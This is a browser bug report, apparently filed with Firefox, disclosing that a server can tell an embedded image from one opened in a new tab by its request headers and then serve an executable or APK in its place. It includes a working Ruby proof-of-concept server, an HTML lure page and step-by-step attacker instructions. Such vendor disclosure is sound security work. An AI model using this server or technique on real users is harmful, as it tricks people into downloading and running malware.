Bug: Manipulating HTTP headers in image requests allows for the delivery of malicious content.
Status: NEW
Priority: P3
Created: 2023-07-12 21:36:10+00:00
Resolved: 2024-05-30 18:12:21+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Firefox for Android

Steps to reproduce:

Tested on:
==================
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

- User-Agent: Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/115.0 Firefox/115.0

Description
==================
When making HTTP requests to fetch an image through a web browser, different headers are included in the HTTP requests depending on how the image is desired to be obtained and also depending on the device being used. The headers will be different, for instance, on Windows, the web browser will send the following headers when fetching the image through the HTML "<img>" tag:
```HTTP
GET /image.png HTTP/1.1
Host: image-server.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: image/avif,image/webp,*/*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://server.com
```
When using the context menu option "Open image in a new tab," the web browser sends the following headers:
```HTTP
GET /image.png HTTP/1.1
Host: image-server.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://server.com
Upgrade-Insecure-Requests: 1
```
From here, a specially designed server can detect when the victim has embedded an image and when they have opened it in a new tab.

There are various attack scenarios in which an attacker could use this information to trick the victim into downloading a malicious file instead of an image, for example:

1. The malicious server sends the image when it is embedded through the HTML img tag, but when it is opened in a new tab, the server sends a malicious file.

In this case, any user who decides to open an embedded image from the attacker's server in a new tab would receive a malicious file. For example, if it's Windows, it could be a Portable Executable (PE) file, or if it's Android, it could be an Android Application Package (APK) file.

It's important to note that the malicious server can be implemented in various ways. The crucial aspect is that it uses a TCP socket and, based on the headers sent by the web browser, the server sends a specific response.

Furthermore, it's relevant to remember that, as mentioned earlier, based on the HTTP request and the system or device used, the malicious server needs to send an appropriate response to deliver the malicious file to the victim attempting to view the image in a new tab. In this context, the malicious server or, in this case, the functional exploit, would be the one that fulfills the aforementioned description. That is, the server must be capable of detecting from which system or device the request is made, which can be determined through the User-Agent request header. Additionally, the headers sent with the HTTP requests to view an image will be different depending on the device.

However, it's important to emphasize that the purpose of this report is not to create a server that meets all the mentioned details, as there are multiple ways to achieve it. Instead, in order to understand the issue, I have created small test servers for specific systems that send the malicious file to the victim. For example, a proof-of-concept test server sends the malicious file when the victim makes requests from Windows, while another server sends a malicious file when the requests are made from Firefox on Android.

The following steps for reproduction will be based on the Windows operating system using the Firefox browser.

Steps To Reproduce
==================

- The following are the steps that the attacking user must follow:

1. Create a directory called "poc" and navigate to this directory.

2. Using the information below, create a file named "server.rb" and replace the value "000.000.0.0" of the variable "host" with the IP address where the malicious server will listen for connections:
```ruby
###START
require 'socket'

host = '000.000.0.0'
port = 8080
server = TCPServer.open(host, port)

puts "Listen in http://#{host}:#{port}\n\n"

loop do
  client = server.accept

  Thread.new(client) do |cl|
    request = ''

    while (line = cl.gets) && (line != "\r\n")
      request += line
    end

    req_headers = request.split "\n"

    if req_headers[3] =~ %r{^Accept: text/html.*}
      puts "\e[31mNEW TAB AND SAVE (Windows)\e[0m\n\e[32m#{request}\e[0m\n"
      headers = ['Cache-Control: no-store', 'Content-type: application/x-msdownload',
                 'Content-Disposition: attachment; filename=image.exe', 'Last-Modified: POC']
      image = File.binread('images/image.exe')
    else
      puts "\e[31mNORMAL\e[0m\n\e[32m#{request}\e[0m\n"
      headers = ['Cache-Control: no-store', 'Content-type: image/png']
      image = File.binread('images/image.png')
    end

    response = "HTTP/1.1 200 OK\r\n#{headers.join("\r\n")}\r\n\r\n#{image}"

    cl.write response
    cl.close
  end
end
###END
```
3. Using the information below, create a file named "index.html" and replace the value "000.000.0.0" of the src attribute in the img tag with the IP address where the malicious server will listen for connections:
```HTML
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>PoC</title>
</head>
<body>
	<h1>PoC by st4nly0n</h1>
	<img src="http://000.000.0.0:8080/image.png" />
</body>
</html>
```
4. Create a directory called "images".

5. Move an image of your choice in PNG format to the "images" directory with the name "image.png".

6. Move a binary file to the "images" directory with the name "image.exe".

7. Start listening for connections on the malicious server by running the "server.rb" file using "ruby.exe server.rb".

8. From the same host and within the "poc" directory, serve the "index.html" file through port 9090 using the command "python.exe -m http.server 9090".


- The following steps outline what the victim user should do:

1. Open the Firefox web browser and navigate to the address http://000.000.0.0:9090/, where "000.000.0.0" represents the IP address of the server serving the "index.html" file (step 8).

2. Right-click on the image and select "Open Image in New Tab".

3. Open the image once the download is complete (located in the top right corner of the download bar).

As a result of the steps described above, the victim will have downloaded and executed a malicious file.

It is important to note that the same attack scenario can be applied to Android devices with the corresponding modifications. In this case, the malicious server should send an APK file. For GNU/Linux and macOS systems, the server will send a different specific file type.

To help you better understand the problem, I have created several proof-of-concept videos illustrating different attack scenarios and similar behaviors.

Additionally, I will attach the server files for it to work on Android. The procedure is the same as the steps to reproduce the issue on Windows, except you need to replace the value "000.000.0.0" in the "index.html" and "server.rb" files with the IP address of the malicious server that will be listening for connections. I also recommend replacing the "image.apk" file with one of your choice since the attached file will be empty.


Actual results:

The victim obtained a malicious file instead of an image.


Expected results:

The victim should get an image when they right-click on the image through the context menu and select "Open Image in New Tab."